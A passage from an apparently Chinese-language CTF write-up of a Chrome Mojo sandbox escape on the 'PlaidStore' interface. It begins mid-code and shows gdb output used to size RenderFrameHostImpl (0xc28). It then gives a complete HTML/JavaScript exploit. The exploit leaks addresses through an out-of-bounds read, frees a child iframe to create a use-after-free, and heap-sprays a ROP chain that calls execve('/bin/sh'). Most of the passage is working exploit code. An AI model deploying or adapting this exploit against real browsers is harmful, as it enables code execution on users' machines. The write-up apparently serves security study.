    // bind the InstalledAppProvider with the child rfh
    Mojo.bindInterface(blink.mojom.PlaidStore.name,
    pipe.handle1, "context", true);
    // pass the endpoint handle to the parent rfh
    Mojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");
    }

    function getFreedPtr() {
    return new Promise(function (resolve, reject) {
    // create child iframe, allocate new RenderFrameHost
    var frame = allocateRFH(window.location.href + "#child"); // designate the child by hash
    // intercept bindInterface calls for this process to accept the handle from the child
    let interceptor = new MojoInterfaceInterceptor(kPwnInterfaceName, "process");
    interceptor.oninterfacerequest = function(e) {
    // e is MojoInterfaceRequestEvent
    interceptor.stop();
    // bind the remote
    var plaid_store_ptr = new blink.mojom.PlaidStorePtr(e.handle);
    // get child iframe render_frame_host_addr
    iframe_render_frame_host_addr = parseInt(window.frames[0].window.document.getElementById('render_frame_host_addr').innerText);
    code_base = parseInt(window.frames[0].window.document.getElementById('code_base').innerText);
    freeRFH(frame);
    resolve(plaid_store_ptr);
    }
    interceptor.start();
    });
    }
    async function trigger() {
    // for #child
    if (window.location.hash == "#child") {
    await oob();
    sendPtr();
    return;
    }
    // for #parent
    iframe_render_frame_host_addr = 0;
    code_base = 0
    var try_size = 100;
    var kRenderFrameHost = 0xc28;
    let ptr = await getFreedPtr();// free iframe
    }
    剩下最后一个问题,如何通过heap spray来占坑我们之前释放掉的iframe里的render_frame_host_,其实很简单,因为chrome里heap management是使用TCMalloc的。
    所以我们通过StoreData分配出来的vector<uint8_t>render_frame_host_是使用同样的分配器,也就是只要大量分配大小和render_frame_host_相等的vector就可能占位上。

这里我们先看一下render_frame_host_的大小,步骤如下,最终找到大小是0xc28

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
gdb-peda$ info functions RenderFrameHostImpl::RenderFrameHostImpl
All functions matching regular expression "RenderFrameHostImpl::RenderFrameHostImpl":

Non-debugging symbols:
0x0000000003b21d80 content::RenderFrameHostImpl::RenderFrameHostImpl(content::SiteInstance*, scoped_refptr<content::RenderViewHostImpl>, content::RenderFrameHostDelegate*, content::FrameTree*, content::FrameTreeNode*, int, int, bool)
0x0000000003b21d80 content::RenderFrameHostImpl::RenderFrameHostImpl(content::SiteInstance*, scoped_refptr<content::RenderViewHostImpl>, content::RenderFrameHostDelegate*, content::FrameTree*, content::FrameTreeNode*, int, int, bool)
gdb-peda$ b content::RenderFrameHostImpl::RenderFrameHostImpl
Breakpoint 1 at 0x3b21d84
...
gdb-peda$ r
Thread 1 "chrome" hit Breakpoint 1, 0x0000555559075d84 in content::RenderFrameHostImpl::RenderFrameHostImpl(content::SiteInstance*, scoped_refptr<content::RenderViewHostImpl>, content::RenderFrameHostDelegate*, content::FrameTree*, content::FrameTreeNode*, int, int, bool) ()

gdb-peda$ bt
#0 0x0000555559075d84 in content::RenderFrameHostImpl::RenderFrameHostImpl(content::SiteInstance*, scoped_refptr<content::RenderViewHostImpl>, content::RenderFrameHostDelegate*, content::FrameTree*, content::FrameTreeNode*, int, int, bool) ()
#1 0x0000555559075a96 in content::RenderFrameHostFactory::Create(content::SiteInstance*, scoped_refptr<content::RenderViewHostImpl>, content::RenderFrameHostDelegate*, content::FrameTree*, content::FrameTreeNode*, int, int, bool) ()
...
gdb-peda$ b content::RenderFrameHostFactory::Create
Breakpoint 2 at 0x5555590759e4
gdb-peda$ r // 重新运行
Thread 1 "chrome" hit Breakpoint 2, 0x00005555590759e4 in content::RenderFrameHostFactory::Create(content::SiteInstance*, scoped_refptr<content::RenderViewHostImpl>, content::RenderFrameHostDelegate*, content::FrameTree*, content::FrameTreeNode*, int, int, bool) ()
...
单步执行
0x555559075a52 <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+114>: mov edi,0xc28 //可以看出大小是0xc28
0x555559075a57 <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+119>: call 0x55555ac584b0 <_ZnwmRKSt9nothrow_t>
0x555559075a5c <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+124>: mov rdi,rax
0x555559075a5f <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+127>: mov rax,QWORD PTR [r14]
0x555559075a62 <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+130>: mov QWORD PTR [rbp-0x38],rax
0x555559075a66 <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+134>: mov QWORD PTR [r14],0x0
0x555559075a6d <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+141>: sub rsp,0x8
0x555559075a71 <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+145>: movzx eax,BYTE PTR [rbp+0x20]
0x555559075a75 <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+149>: lea rdx,[rbp-0x38]
0x555559075a79 <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+153>: mov r14,rdi
0x555559075a7c <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+156>: mov rsi,rbx
0x555559075a7f <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+159>: mov rcx,r13
0x555559075a82 <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+162>: mov r8,r12
0x555559075a85 <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+165>: mov r9,r15
0x555559075a88 <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+168>: push rax
0x555559075a89 <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+169>: mov eax,DWORD PTR [rbp+0x18]
0x555559075a8c <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+172>: push rax
0x555559075a8d <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+173>: mov eax,DWORD PTR [rbp+0x10]
=> 0x555559075a90 <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+176>: push rax
0x555559075a91 <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+177>:
call 0x555559075d80 <_ZN7content19RenderFrameHostImplC2EPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib>
...
...
可以看出call的两个函数分别为new和RenderFrameHostImpl的构造函数
sakura@ubuntu:~/mojo$ c++filt _ZN7content19RenderFrameHostImplC2EPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib
content::RenderFrameHostImpl::RenderFrameHostImpl(content::SiteInstance*, scoped_refptr<content::RenderViewHostImpl>, content::RenderFrameHostDelegate*, content::FrameTree*, content::FrameTreeNode*, int, int, bool)

sakura@ubuntu:~/mojo$ c++filt _ZnwmRKSt9nothrow_t
operator new(unsigned long, std::nothrow_t const&)

我们可以直接拿之前获取的remote来调storeData,并在data里fake好gadaget和数据,还是刚刚的那个图。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
var uaf_ab = new ArrayBuffer(kRenderFrameHost);
var uaf_ta = new BigUint64Array(uaf_ab);
uaf_ta[0] = BigInt(iframe_render_frame_host_addr)+0x10n;
uaf_ta[1] = 0n;
uaf_ta[2] = 0n; //use by pop rbp
uaf_ta[3] = BigInt(pop_rdi_ret);
uaf_ta[4] = BigInt(iframe_render_frame_host_addr)+0x10n+0x160n+8n;
uaf_ta[5] = BigInt(pop_rsi_ret);
uaf_ta[6] = BigInt(0);
uaf_ta[7] = BigInt(pop_rdx_ret);
uaf_ta[8] = BigInt(0);
uaf_ta[9] = BigInt(pop_rax_ret);
uaf_ta[10] = BigInt(59);
uaf_ta[11] = BigInt(syscall);
uaf_ta[(0x10+0x160)/8] = BigInt(xchg);

var uaf_uint8 = new Uint8Array(uaf_ab); // /bin/sh\x00
uaf_uint8[0x10+0x160+8+0] = 0x2f;
uaf_uint8[0x10+0x160+8+1] = 0x62;
uaf_uint8[0x10+0x160+8+2] = 0x69;
uaf_uint8[0x10+0x160+8+3] = 0x6e;
uaf_uint8[0x10+0x160+8+4] = 0x2f;
uaf_uint8[0x10+0x160+8+5] = 0x73;
uaf_uint8[0x10+0x160+8+6] = 0x68;
uaf_uint8[0x10+0x160+8+7] = 0x00;
console.log("heap spray");
for(let i = 0; i < try_size; i++){ //heap spray
//await ptr.storeData('1', new Array(kRenderFrameHost).fill(0x32));
await ptr.storeData(""+i, new Uint8Array(uaf_ab));
}

值得提到的一点是,虽然我们为storeData传入的是一个TypedArray,并在其ArrayBuffer里伪造了数据,但最终我们传到browser侧的实例里的storeData函数的仍然仅仅是一个vector<uint8_t>,ArrayBuffer里伪造的数据就是vector的内容。

这里我们使用一个Array一样可以占位,演示如下:

1
2
3
4
5
6
7
8
9
修改代码为await ptr.storeData('1', new Array(kRenderFrameHost).fill(0x32));
...
...
[0922/095837.359069:INFO:CONSOLE(159)] "heap spray", source: http://localhost:8000/trigger.html (159)

Thread 1 "chrome" received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x3232323232323232 ('22222222')

可以看出从我们伪造的render_frame_host_里取出到rax的vtable entry是0x3232323232323232,和我们保存在array里的数据是完全一致的。
所以这里使用ArrayBuffer和TypedArray仅仅只是为了书写便利,没有额外的原因。

  • 父子iframe之间的通信

最后需要提到的一点是,由于我们需要劫持rsp到被释放的render_frame_host_上,而这个render_frame_host_在我们的这个exploit里是child iframe的render_frame_host_

所以就要在child iframe里调用oob函数来leak出render_frame_host_,而不是在parent里,这样就涉及到如何将child iframe里leak出来的地址传给parent。

这里我采用的方法是将leak出来的地址作为一个新的dom节点插入进去,然后在free掉child iframe之前,在parent里,通过window.frames[0].window.document.getElementById的方式拿到child iframe的window,也就是拿到里面的所有dom节点,从而拿到在child iframe里leak出来的地址。

完整exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
<html>
<head>
<script src="./mojo/public/js/mojo_bindings.js"></script>
<script src="./third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>
<script>
function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);

function d2u(v) {
f64[0] = v;
return u32;
}

function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}

function b2i(bytes){
var value = 0;
for(var i = 0; i < 8; i++){
value = value * 0x100 + bytes[7-i];
}
return value;
}
function hex(i){
return '0x' + i.toString(16);
}

// for child
function r2p_rfh(render_frame_host_addr){
addElement(render_frame_host_addr,"render_frame_host_addr");
}

function r2p_code_base(code_base){
addElement(code_base, "code_base");
}

function addElement(value, id) {
// 创建一个新的 div 元素
let newDiv = document.createElement("div");
newDiv.setAttribute("id", id);
let newContent = document.createTextNode(value);
// 添加文本节点 到这个新的 div 元素
newDiv.appendChild(newContent);
// 将这个新的元素和它的文本添加到 DOM 中
document.body.appendChild(newDiv);
}

function allocateRFH(src) {
var iframe = document.createElement("iframe");
iframe.src = src;
document.body.appendChild(iframe);
return iframe;
}

function freeRFH(iframe) {
document.body.removeChild(iframe);
}

var kPwnInterfaceName = "pwn";
function sendPtr() {
var pipe = Mojo.createMessagePipe();
// bind the PlaidStore with the child rfh
Mojo.bindInterface(blink.mojom.PlaidStore.name,
pipe.handle1, "context", true);
// pass the endpoint handle to the parent rfh
Mojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");
}

function getFreedPtr() {
return new Promise(function (resolve, reject) {
// create child iframe, allocate new RenderFrameHost
var frame = allocateRFH(window.location.href + "#child"); // designate the child by hash
// intercept bindInterface calls for this process to accept the handle from the child
let interceptor = new MojoInterfaceInterceptor(kPwnInterfaceName, "process");
interceptor.oninterfacerequest = function(e) {
// e is MojoInterfaceRequestEvent
interceptor.stop();
// bind the remote
var plaid_store_ptr = new blink.mojom.PlaidStorePtr(e.handle);
// get child iframe render_frame_host_addr
// console.log(window.frames[0].window.document.getElementById('render_frame_host_addr').innerText);
// console.log(window.frames[0].window.document.getElementById('code_base').innerText);
iframe_render_frame_host_addr = parseInt(window.frames[0].window.document.getElementById('render_frame_host_addr').innerText);
code_base = parseInt(window.frames[0].window.document.getElementById('code_base').innerText);
freeRFH(frame);
resolve(plaid_store_ptr);
}
interceptor.start();
});
}

async function trigger() {
// for #child
if (window.location.hash == "#child") {
await oob();
sendPtr();
return;
}

// for #parent
iframe_render_frame_host_addr = 0;
code_base = 0
var try_size = 100;
var kRenderFrameHost = 0xc28;
let ptr = await getFreedPtr();// free iframe
// leak addr
console.log('code_base2 is: ', hex(code_base));
console.log('render_frame_host_addr2 is: ', hex(iframe_render_frame_host_addr));

var xchg = code_base+0x880dee8; // xchg rsp, rax; clc; pop rbp; ret;
console.log("xchg gadget: ", xchg);

var pop_rdi_ret = code_base+0x2e4630f;
console.log('pop_rdi_ret: ', pop_rdi_ret);

var pop_rsi_ret = code_base+0x2d278d2;
console.log('pop_rsi_ret: ', pop_rsi_ret);

var pop_rdx_ret = code_base+0x2e9998e;
console.log('pop_rdx_ret: ', pop_rdx_ret);

var pop_rax_ret = code_base+0x2e651dd;
console.log('pop_rax_ret: ', pop_rax_ret);

var syscall = code_base+0x2ef528d;
console.log('syscall: ', syscall);

var uaf_ab = new ArrayBuffer(kRenderFrameHost);
var uaf_ta = new BigUint64Array(uaf_ab);
uaf_ta[0] = BigInt(iframe_render_frame_host_addr)+0x10n;
uaf_ta[1] = 0n;
uaf_ta[2] = 0n; //use by pop rbp
uaf_ta[3] = BigInt(pop_rdi_ret);
uaf_ta[4] = BigInt(iframe_render_frame_host_addr)+0x10n+0x160n+8n;
uaf_ta[5] = BigInt(pop_rsi_ret);
uaf_ta[6] = BigInt(0);
uaf_ta[7] = BigInt(pop_rdx_ret);
uaf_ta[8] = BigInt(0);
uaf_ta[9] = BigInt(pop_rax_ret);
uaf_ta[10] = BigInt(59);
uaf_ta[11] = BigInt(syscall);
uaf_ta[(0x10+0x160)/8] = BigInt(xchg);

var uaf_uint8 = new Uint8Array(uaf_ab); // /bin/sh\x00
uaf_uint8[0x10+0x160+8+0] = 0x2f;
uaf_uint8[0x10+0x160+8+1] = 0x62;
uaf_uint8[0x10+0x160+8+2] = 0x69;
uaf_uint8[0x10+0x160+8+3] = 0x6e;
uaf_uint8[0x10+0x160+8+4] = 0x2f;
uaf_uint8[0x10+0x160+8+5] = 0x73;
uaf_uint8[0x10+0x160+8+6] = 0x68;
uaf_uint8[0x10+0x160+8+7] = 0x00;

console.log("heap spray");
for(let i = 0; i < try_size; i++){
//await ptr.storeData('1', new Array(kRenderFrameHost).fill(0x32));
await ptr.storeData(""+i, new Uint8Array(uaf_ab));
}
console.log('getshell');
ptr.getData("1");
}
async function oob(){
console.log("oob");
var ps_list = [];
var try_size = 100;
var vt_addr = 0;
var render_frame_host_addr = 0;
var code_base = 0;
for(let i = 0; i < try_size; i++){
var pipe = Mojo.createMessagePipe();
Mojo.bindInterface(blink.mojom.PlaidStore.name,
pipe.handle1, "context", true);
var tmp_ps_ptr = new blink.mojom.PlaidStorePtr(pipe.handle0);
await tmp_ps_ptr.storeData("aaaa", new Array(0x30).fill(0x31))
ps_list.push(tmp_ps_ptr);
}
for(let i = 0; i < try_size; i++){
if(vt_addr != 0){
break;
}
var tmp_ps_ptr = ps_list[i];
let r = await tmp_ps_ptr.getData("aaaa", 0x100);
let oob_data = r.data;
for(let i = 0x30; i < 0x100; i = i + 8){
let tmp_oob_data = b2i(oob_data.slice(i, i+8));
if(hex(tmp_oob_data & 0xfff) == "0x7a0"){
vt_addr = tmp_oob_data;
code_base = vt_addr - 0x9fb67a0;
console.log('vt_addr is: ', hex(vt_addr));
console.log('code_base is: ', hex(code_base));
render_frame_host_addr = b2i(oob_data.slice(i+8, i+16));
console.log('render_frame_host_addr is: ', hex(render_frame_host_addr));
break;
}
}
}
r2p_rfh(hex(render_frame_host_addr));
r2p_code_base(hex(code_base));
}
</script>
</head>
<body onload="trigger()"></body>
</html>